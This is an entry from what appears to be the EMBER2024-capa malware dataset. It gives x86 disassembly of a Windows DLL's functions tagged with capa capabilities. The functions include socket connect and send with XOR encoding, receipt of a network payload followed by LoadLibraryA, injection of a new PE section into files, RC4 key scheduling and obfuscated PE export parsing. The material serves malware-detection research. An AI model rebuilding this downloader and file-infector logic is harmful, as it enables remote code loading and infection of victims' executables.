joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001960
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x1e0
push ebx
push ebp
push esi
push edi
mov esi, ecx
call fcn.10001aa0
mov eax, dword [esp + 0x1f8]
lea edi, [esi + 8]
push eax
push edi
call dword [0x1000808c]
mov ebp, dword [esp + 0x208]
mov ecx, dword [esp + 0x204]
lea ebx, [esi + 0x108]
push ebp
mov dword [ebx], ecx
call dword [0x10008084]
add esp, 0xc
test eax, eax
je 0x100019b1
push ebx
push edi
push ebp
mov ecx, esi
call fcn.10001550
mov edx, dword [ebx]
mov ecx, esi
push edx
push edi
call fcn.10001ae0
xor ebp, ebp
mov dword [esi + 4], eax
cmp eax, ebp
jne 0x100019d4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1e0
ret 0x14
mov ecx, 0x76
xor eax, eax
lea edi, [esp + 0x18]
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x204]
mov eax, dword [esp + 0x1f4]
mov dword [esp + 0x44], ecx
push 0x1e0
push edx
mov ecx, esi
mov dword [esp + 0x18], eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x24], ebp
call fcn.10001a70
mov eax, dword [esi + 4]
lea edi, [esp + 0x10]
test eax, eax
mov ebx, 0x1e0
jne 0x10001a2f
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1e0
ret 0x14
mov eax, dword [esi + 4]
push 0
push ebx
push edi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x10001a20
add ebp, eax
add edi, eax
sub ebx, eax
cmp ebp, 0x1e0
jb 0x10001a2f
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x1e0
ret 0x14

Function at 0x10001a70
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 8]
xor eax, eax
test edx, edx
jbe 0x10001a8e
mov ecx, dword [esp + 4]
push ebx
mov bl, byte [eax + ecx]
xor bl, 0xf7
mov byte [eax + ecx], bl
inc eax
cmp eax, edx
jb 0x10001a7f
pop ebx
ret 8
Function at 0x10001ae0
Capabilities:
Connect socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x12c
xor eax, eax
push ebx
mov dword [esp + 6], eax
push esi
mov dword [esp + 0xe], eax
push edi
xor ebx, ebx
mov dword [esp + 0x16], eax
mov ecx, 0x40
lea edi, [esp + 0x35]
mov word [esp + 0x1a], ax
mov byte [esp + 0x34], bl
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x13c]
lea edx, [esp + 0x34]
stosw word es:[edi], ax
push ecx
push edx
mov word [esp + 0x14], bx
stosb byte es:[edi], al
call dword [0x1000808c]
mov esi, dword [sym.imp.WS2_32.dll_inet_addr]
add esp, 8
lea eax, [esp + 0x34]
push eax
call esi
cmp eax, 0xffffffff
jne 0x10001ba5
lea ecx, [esp + 0x34]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, ebx
jne 0x10001b5a
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x12c
ret 8
xor edx, edx
mov word [esp + 0x24], bx
mov dword [esp + 0x26], edx
mov dword [esp + 0x2a], edx
mov dword [esp + 0x2e], edx
mov word [esp + 0x32], dx
mov edx, dword [eax + 0xc]
movsx ecx, word [eax + 0xa]
mov eax, dword [edx]
push ecx
lea ecx, [esp + 0x2c]
push eax
push ecx
call dword [0x10008088]
mov edx, dword [esp + 0x34]
add esp, 0xc
push edx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea eax, [esp + 0x38]
push eax
call dword [0x1000808c]
add esp, 8
lea ecx, [esp + 0x34]
push ecx
call esi
mov edx, dword [esp + 0x140]
mov dword [esp + 0x10], eax
push edx
call dword [sym.imp.WS2_32.dll_htons]
push ebx
mov ebx, 1
push ebx
push 2
mov word [esp + 0x1a], ax
mov word [esp + 0x18], 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10001bee
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x12c
ret 8
lea eax, [esp + 0xc]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10001c16
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x12c
ret 8
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
lea ecx, [esp + 0x1c]
push 4
push ecx
push ebx
push 6
push esi
mov dword [esp + 0x30], ebx
call edi
test eax, eax
je 0x10001c46
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x12c
ret 8
lea edx, [esp + 0x20]
push 4
push edx
push 8
push 0xffff
push esi
mov dword [esp + 0x34], ebx
call edi
test eax, eax
je 0x10001c74
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x12c
ret 8
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 0x12c
ret 8
Function at 0x10004e30
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [0x10008184]
xor edx, edx
push esi
mov ecx, dword [eax + 0x3c]
add ecx, eax
mov ecx, dword [ecx + 0x50]
add ecx, 0xfffffff8
test ecx, ecx
jbe 0x10004e6a
mov esi, 0x18776655
cmp dword [edx + eax], 0x8776633
jne 0x10004e5b
cmp dword [edx + eax + 4], esi
je 0x10004e64
inc edx
cmp edx, ecx
jb 0x10004e4c
xor eax, eax
pop esi
ret
add eax, edx
test eax, eax
jne 0x10004e6e
xor eax, eax
pop esi
ret
mov ecx, dword [eax + 8]
push 0x514
lea esi, [ecx + eax + 0x20]
lea edx, [esi + 0x514]
push edx
push 0x10008188
call dword [0x10008088]
add esp, 0xc
xor eax, eax
sub esi, 0x10008188
mov cl, byte [esi + eax + 0x10008188]
mov dl, byte [eax + 0x10008188]
xor dl, cl
mov byte [eax + 0x10008188], dl
inc eax
cmp eax, 0x514
jb 0x10004e97
mov eax, 1
pop esi
ret
Function at 0x10005260
Capabilities:
Enumerate pe sections

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x1c]
mov ebx, dword [edi + 0x3c]
cmp dword [ebx + edi], 0x4550
je 0x1000527b
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
xor eax, eax
mov ax, word [ebx + edi + 6]
lea eax, [eax + eax*4]
lea esi, [ebx + eax*8 + 0xf8]
mov eax, dword [ebx + edi + 0x54]
lea ecx, [esi + 0x28]
cmp ecx, eax
jbe 0x1000529e
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
add esi, edi
xor eax, eax
cmp byte [eax + esi], 0
jne 0x100052b0
inc eax
cmp eax, 0x28
jne 0x100052a2
jmp 0x100052c5
push 8
lea edx, [ebx + edi + 0xd0]
push 0
push edx
call dword [0x1000809c]
add esp, 0xc
mov ebp, dword [esp + 0x18]
lea ecx, [ebx + edi + 0x50]
mov dword [esi + 8], ebp
xor edx, edx
mov eax, dword [ecx]
mov dword [esi + 0x10], ebp
mov dword [esi + 0xc], eax
mov eax, ebp
div dword [ebx + edi + 0x3c]
mov edx, dword [esp + 0x20]
push 0
push 0x80
push 2
push 0
push 1
push 0x40000000
inc eax
mov dword [esi + 0x10], eax
imul eax, dword [ebx + edi + 0x3c]
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], edx
mov dword [esi + 0x24], 0x40000040
inc word [ebx + edi + 6]
mov ebx, dword [ebx + edi + 0x38]
mov eax, dword [esi + 8]
xor edx, edx
div ebx
mov edx, dword [ecx]
inc eax
imul eax, ebx
add edx, eax
mov eax, dword [esp + 0x3c]
push eax
mov dword [ecx], edx
call dword [0x100080c0]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x1000533f
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
mov edx, dword [esp + 0x20]
lea ecx, [esp + 0x1c]
push 0
push ecx
push edx
push edi
push ebx
mov dword [esp + 0x30], 0
call dword [0x100080c4]
test eax, eax
jne 0x1000536d
push ebx
call dword [0x100080c8]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x1c]
push 0
push eax
push ebp
push ecx
push ebx
call dword [0x100080c4]
test eax, eax
jne 0x10005393
push ebx
call dword [0x100080c8]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
mov esi, dword [esi + 0x10]
sub esi, ebp
je 0x100053e2
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edi, eax
push esi
push 0
push edi
call dword [0x1000809c]
add esp, 0x10
lea edx, [esp + 0x1c]
push 0
push edx
push esi
push edi
push ebx
call dword [0x100080c4]
test eax, eax
push edi
jne 0x100053da
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
push ebx
call dword [0x100080c8]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
push ebx
call dword [0x100080c8]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret
Function at 0x100057d0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x128
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x2d]
mov byte [esp + 0x2c], 0
push 0xff
rep stosd dword es:[edi], eax
mov ecx, dword [0x10008184]
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x30]
push eax
push ecx
call dword [0x100080d4]
xor eax, eax
lea edx, [esp + 8]
mov dword [esp + 4], eax
mov dword [esp + 8], eax
lea eax, [esp + 4]
push edx
lea ecx, [esp + 0x30]
push eax
push ecx
call fcn.100051d0
add esp, 0xc
test eax, eax
jne 0x10005830
pop edi
add esp, 0x128
ret
mov edx, dword [0x10008158]
push ebx
push ebp
push esi
lea ebx, [edx + 0xa48]
push ebx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebp, eax
mov ecx, 6
xor eax, eax
lea edi, [esp + 0x24]
rep stosd dword es:[edi], eax
mov eax, dword [0x10008158]
lea ecx, [esp + 0x1c]
push 0x20
push ecx
push ebp
mov dword [esp + 0x28], 0x8776633
mov dword [esp + 0x2c], 0x18776655
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], 0x514
call dword [0x10008088]
mov edx, dword [0x10008158]
mov eax, dword [0x10008154]
lea esi, [ebp + 0x20]
push edx
push eax
push esi
call dword [0x10008088]
mov eax, dword [0x10008158]
push 0
add esi, eax
call dword [0x100080a8]
push eax
call dword [0x100080a0]
add esp, 0x24
xor edi, edi
call dword [0x100080a4]
mov byte [edi + esi], al
inc edi
cmp edi, 0x514
jb 0x100058b5
lea edi, [esi + 0x514]
push 0x514
push 0x10008188
push edi
call dword [0x10008088]
add esp, 0xc
mov eax, edi
sub esi, edi
mov ecx, 0x514
mov dl, byte [esi + eax]
xor byte [eax], dl
inc eax
dec ecx
jne 0x100058ea
mov eax, dword [esp + 0x13c]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
push eax
push ecx
push edx
push ebx
push ebp
call fcn.10005260
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [esp + 0x28]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0x1c
mov eax, 1
pop esi
pop ebp
pop ebx
pop edi
add esp, 0x128
ret
Function at 0x10005b00
Capabilities:
Receive data
Receive data on socket

Disassembly:
push 0xffffffffffffffff
push 0x10006fb6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x154
push ebx
push ebp
push esi
push edi
lea ecx, [esp + 0x58]
call fcn.100014e0
mov eax, dword [0x100081a4]
mov ecx, dword [0x10008194]
mov edx, dword [esp + 0x178]
push eax
push 0x100082b0
push ecx
xor ebp, ebp
push 0x100081b0
push edx
lea ecx, [esp + 0x6c]
mov dword [esp + 0x180], ebp
call fcn.10001960
test eax, eax
jne 0x10005b78
lea ecx, [esp + 0x58]
mov dword [esp + 0x16c], 0xffffffff
call fcn.10001540
xor eax, eax
jmp 0x10005c79
mov eax, dword [esp + 0x5c]
xor esi, esi
cmp eax, ebp
mov dword [esp + 0x10], ebp
lea edi, [esp + 0x10]
mov ebx, 4
je 0x10005c9d
mov eax, dword [esp + 0x5c]
push ebp
push ebx
push edi
push eax
call dword [sym.imp.WS2_32.dll_recv]
add esi, eax
add edi, eax
sub ebx, eax
cmp esi, 4
jb 0x10005b93
mov ecx, dword [esp + 0x10]
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, dword [esp + 0x14]
mov ebp, eax
push edx
push 0
push ebp
call dword [0x1000809c]
mov eax, dword [esp + 0x6c]
mov ebx, dword [esp + 0x20]
add esp, 0x10
xor esi, esi
test eax, eax
mov dword [esp + 0x18], ebx
mov edi, ebp
je 0x10005c94
test ebx, ebx
jbe 0x10005c02
mov eax, dword [esp + 0x5c]
push 0
push ebx
push edi
push eax
call dword [sym.imp.WS2_32.dll_recv]
add esi, eax
add edi, eax
sub ebx, eax
mov eax, dword [esp + 0x18]
cmp esi, eax
jb 0x10005be5
mov al, 8
mov byte [esp + 0x2b], 4
mov byte [esp + 0x2a], al
mov byte [esp + 0x29], al
mov byte [esp + 0x2c], 2
lea ecx, [esp + 0x10]
lea edx, [esp + 0x14]
push ecx
push edx
push ebp
lea ecx, [esp + 0x28]
mov byte [esp + 0x178], 1
mov dword [esp + 0x20], 0
call fcn.100010d0
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
mov esi, dword [esp + 0x178]
push eax
push ecx
push esi
call fcn.10005770
add esp, 0x10
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp + 0x58]
mov esi, eax
mov dword [esp + 0x16c], 0xffffffff
call fcn.10001540
mov eax, esi
mov ecx, dword [esp + 0x164]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x160
ret 8
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
lea ecx, [esp + 0x58]
mov dword [esp + 0x16c], 0xffffffff
call fcn.10001540
xor eax, eax
jmp 0x10005c79

Function at 0x10005e50
Capabilities:
Initialize winsock library

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x190
cmp eax, 1
jne 0x10005ea1
mov eax, dword [esp + 0x194]
push edi
mov dword [0x10008184], eax
mov ecx, 0x63
xor eax, eax
lea edi, [esp + 6]
mov word [esp + 4], 0
rep stosd dword es:[edi], eax
lea ecx, [esp + 4]
push ecx
push 0x202
stosw word es:[edi], ax
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov eax, 1
pop edi
add esp, 0x190
ret 0xc
mov eax, 1
add esp, 0x190
ret 0xc
Function at 0x1018442a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x101c3e80]
jne 0x10184434
repz ret
jmp fcn.10187e09

Function at 0x1019396f
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.10187165
and dword [ebp - 4], 0
cmp dword [0x101c5cf8], 0
mov ebx, eax
jne 0x10193a20
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x10193ad1
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x10193ad1
push eax
call fcn.101870f3
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x101c5cf8], eax
call esi
push eax
call fcn.101870f3
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x101c5cfc], eax
call esi
push eax
call fcn.101870f3
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x101c5d00], eax
call esi
push eax
call fcn.101870f3
pop ecx
mov dword [0x101c5d08], eax
test eax, eax
je 0x10193a20
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.101870f3
pop ecx
mov dword [0x101c5d04], eax
mov eax, dword [0x101c5d04]
cmp eax, ebx
je 0x10193a78
cmp dword [0x101c5d08], ebx
je 0x10193a78
push eax
call fcn.1018716e
push dword [0x101c5d08]
mov esi, eax
call fcn.1018716e
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x10193a78
test edi, edi
je 0x10193a78
call esi
test eax, eax
je 0x10193a6f
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x10193a6f
test byte [ebp - 0xc], 1
jne 0x10193a78
or dword [ebp + 0x10], 0x200000
jmp 0x10193ab1
mov eax, dword [0x101c5cfc]
cmp eax, ebx
je 0x10193ab1
push eax
call fcn.1018716e
pop ecx
test eax, eax
je 0x10193ab1
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x10193ab1
mov eax, dword [0x101c5d00]
cmp eax, ebx
je 0x10193ab1
push eax
call fcn.1018716e
pop ecx
test eax, eax
je 0x10193ab1
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x101c5cf8]
call fcn.1018716e
pop ecx
test eax, eax
je 0x10193ad1
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x10193ad3
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10196754
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0x98
call fcn.10001077
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x24], ecx
je 0x101967d9
jmp 0x101968a2
mov eax, dword [esp + 0x20]
mov dword [esp + 0x24], eax
jmp 0x101968a2
lea eax, [esp + 0x38]
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x5c], ecx
mov dword [0x101c3e1c], 0x1467
mov edx, dword [esp + 0x18]
mov esi, dword [ecx + edx + 0x50]
mov dword [esp + 0x68], esi
mov esi, dword [esp + 0x30]
mov dword [esp], eax
mov dword [esp + 4], esi
call fcn.10196c9d
mov ecx, esp
lea edx, [esp + 0x38]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov dword [0x101c3e1c], 0xc9f
mov dword [esp + 0x20], eax
jmp 0x10196778
lea eax, [esp + 0x38]
mov dword [0x101c3e1c], 0x32
mov dword [esp + 0x14], eax
call fcn.1019717e
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x20], ecx
jne 0x10196778
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.10196499
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x3c], ecx
mov dword [esp + 0x10], eax
lea eax, [0x10197565]
mov dword [esp + 0x78], 0x141a00
mov ecx, dword [0x101c3e04]
mov dword [esp + 0x38], ecx
mov ecx, dword [0x101c3e08]
mov dword [esp + 0x4c], ecx
mov ecx, dword [0x101c3e0c]
mov dword [esp + 0x44], ecx
mov ecx, dword [0x101c3e10]
mov dword [esp + 0x6c], ecx
mov ecx, dword [0x101c3e14]
mov dword [esp + 0x50], ecx
mov dword [0x101c3e18], 0x1e4d
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
cmp word [eax], 0x5a4d
mov dword [esp + 0x1c], eax
jne 0x1019688e
mov eax, dword [esp + 0x1c]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0x18], ecx
je 0x10196785
mov eax, dword [esp + 0x1c]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0xc], eax
jmp 0x10196867
mov eax, dword [esp + 0x24]
lea esp, [ebp - 4]
pop esi
pop ebp
ret
Function at 0x10196c9d
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [0x101c3e18], 0x1243
mov dword [0x101c3e1c], 0x2000
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
mov ecx, eax
add ecx, 1
mov dl, byte [eax + 0x10198500]
mov dh, byte [eax + 0x101984d1]
sub dh, dl
mov byte [ebp + eax - 0x24], dh
cmp ecx, 0xe
mov dword [ebp - 0x30], ecx
jne 0x10196cc9
lea eax, [ebp - 0x24]
mov dword [0x101c3e1c], 0x14aa
mov dword [ebp - 0x34], eax
call fcn.1019746a
mov dword [esp], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
call fcn.101968ac
cmp eax, 0
mov dword [ebp - 0x38], eax
je 0x10196dc3
mov eax, dword [ebp - 0x38]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [esp], eax
mov ecx, dword [ebp - 0x28]
mov dword [esp + 4], ecx
mov dword [ebp - 0x3c], eax
call fcn.10196a4f
xor eax, eax
mov dword [0x101c3e1c], 0xa05
mov ecx, dword [ebp - 0x3c]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xc0
mov dword [ecx + 0xc0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x38], ecx
mov ecx, dword [ebp - 0x3c]
mov dword [edx + 8], ecx
mov dword [0x101c3e18], 0x138f
add ecx, 0x26aa
mov esi, dword [ebp - 0x3c]
cmp esi, 0
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], eax
je 0x10196dba
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
add esp, 0x50
pop esi
pop ebp
ret
xor eax, eax
add esp, 0x50
pop esi
pop ebp
ret
Function at 0x1019702b
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov edi, dword [0x101c3e1c]
add edi, 0xffffdb6c
mov dword [0x101c3e18], edi
mov dword [0x101c3e24], 0
mov byte [0x101c3e28], 0
mov dword [0x101c3e1c], 0x1f5
mov dword [0x101c3e20], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x1019714e
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [0x101c3e2c], 0
mov dword [0x101c3e1c], 0x12d9
mov edx, dword [0x101c3e24]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + eax]
add edi, edx
mov dword [ebp - 0x24], eax
xor edx, edx
mov ebx, dword [ebp - 0x10]
div ebx
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add edi, edx
mov dword [0x101c3e2c], edi
mov dword [0x101c3e18], 0x1d57
mov eax, edi
cdq
idiv ecx
mov dword [0x101c3e24], edx
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x24]
mov cl, byte [ecx + edi]
mov byte [0x101c3e28], cl
mov ecx, dword [ebp - 0x18]
mov cl, byte [ecx + edx]
mov edx, dword [ebp - 0x18]
mov byte [edx + edi], cl
mov cl, byte [0x101c3e28]
mov edx, dword [0x101c3e24]
mov esi, dword [ebp - 0x18]
mov byte [esi + edx], cl
mov dword [0x101c3e18], 0x13c
mov edx, dword [0x101c3e20]
add edx, 1
mov dword [0x101c3e20], edx
cmp edx, 0x100
mov dword [ebp - 0x20], edx
jl 0x10197087
jmp 0x10197176
xor eax, eax
mov dword [0x101c3e20], 0
mov dword [ebp - 0x20], eax
jmp 0x10197087
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x101c3e20]
add eax, 1
mov dword [0x101c3e20], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x1019714e
jmp 0x1019713a
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1019717e
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x2c
mov dword [ebp - 0xc], 0
mov dword [0x101c3e18], 0x1eeb
mov eax, dword fs:[0x30]
mov dword [ebp - 0xc], eax
xor ecx, ecx
mov edx, dword [ebp - 0xc]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov esi, dword [0x101c3e18]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], ecx
jmp 0x10197260
mov eax, 1
mov dword [0x101c3e18], 0xd6f
mov dword [ebp - 0x20], eax
jmp 0x1019730f
mov eax, dword [ebp - 0x24]
add eax, 0xc3f
mov dword [0x101c3e1c], eax
xor eax, eax
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x28]
cmp word [ecx + edx*2 - 0x12], 0x64
mov dword [ebp - 0x20], eax
je 0x10197243
jmp 0x1019730f
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
mov edx, dword [ebp - 0x30]
mov dword [0x101c3e18], edx
mov esi, dword [ebp - 0x18]
cmp word [esi + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], ecx
je 0x1019728d
jmp 0x1019730f
mov eax, dword [ebp - 0x34]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], eax
jl 0x10197260
jmp 0x101971ff
xor eax, eax
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x28]
cmp word [ecx + edx*2 - 0x10], 0x6c
mov dword [ebp - 0x20], eax
je 0x101972ed
jmp 0x1019730f
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x14]
mov edx, ecx
add edx, 0xfffff3a4
mov esi, dword [ebp - 0x18]
cmp word [esi + eax*2], 0
mov edi, eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], edi
je 0x101971ff
jmp 0x10197224
xor eax, eax
mov ecx, dword [ebp - 0x24]
add ecx, 0xfffff319
mov dword [0x101c3e18], ecx
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x28]
cmp word [ecx + edx*2 - 0x18], 0x6f
mov dword [ebp - 0x20], eax
jne 0x1019730f
xor eax, eax
mov ecx, dword [ebp - 0x24]
add ecx, 0x1680
mov dword [0x101c3e18], ecx
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x28]
cmp word [ecx + edx*2 - 0x16], 0x61
mov dword [ebp - 0x20], eax
jne 0x1019730f
xor eax, eax
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x28]
cmp word [ecx + edx*2 - 0x14], 0x64
mov dword [ebp - 0x20], eax
je 0x101971d9
jmp 0x1019730f
xor eax, eax
mov dword [0x101c3e1c], 0xc31
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x28]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x20], eax
je 0x101971c2
mov eax, dword [ebp - 0x20]
add esp, 0x2c
pop esi
pop edi
pop ebp
ret